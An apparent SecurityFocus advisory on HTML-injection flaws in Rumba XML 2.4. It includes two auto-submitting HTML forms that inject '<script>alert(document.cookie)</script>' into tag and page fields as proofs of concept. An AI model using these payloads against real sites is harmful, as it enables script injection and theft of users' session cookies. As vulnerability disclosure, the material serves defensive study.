source: https://www.securityfocus.com/bid/42914/info

Rumba XML is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Rumba XML 2.4 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/index.php" method="post" name="main" >

<input type="hidden" name="sendtags" value="cms" />
<input type="hidden" name="sendid" value="newtag" />
<input type="hidden" name="sendname" value=&#039;New tag"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="event" value="add_tag" />

</form>
<script>
document.main.submit();
</script>


<form action="http://www.example.com/index.php" method="post" name="main" >
<input type="hidden" name="sendid" value="rumba_id" />
<input type="hidden" name="sendtitl" value="rumba_titl" />
<input type="hidden" name="sendauthor" value="rumba_author" />
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />
<input type="hidden" name="sendlost" value="0" />
<input type="hidden" name="senddesc" value=&#039;rumba_desc"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="sendanons" value="rumba_anons" />
<input type="hidden" name="sendtext" value="rumba_text" />
<input type="hidden" name="sendtags" value="service" />
<input type="hidden" name="sendcomm" value="yes" />
<input type="hidden" name="add-end" value="begin" />
<input type="hidden" name="send_old_id" value="rumba_old_id" />
<input type="hidden" name="event" value="add_page" />

</form>
<script>
document.main.submit();
</script>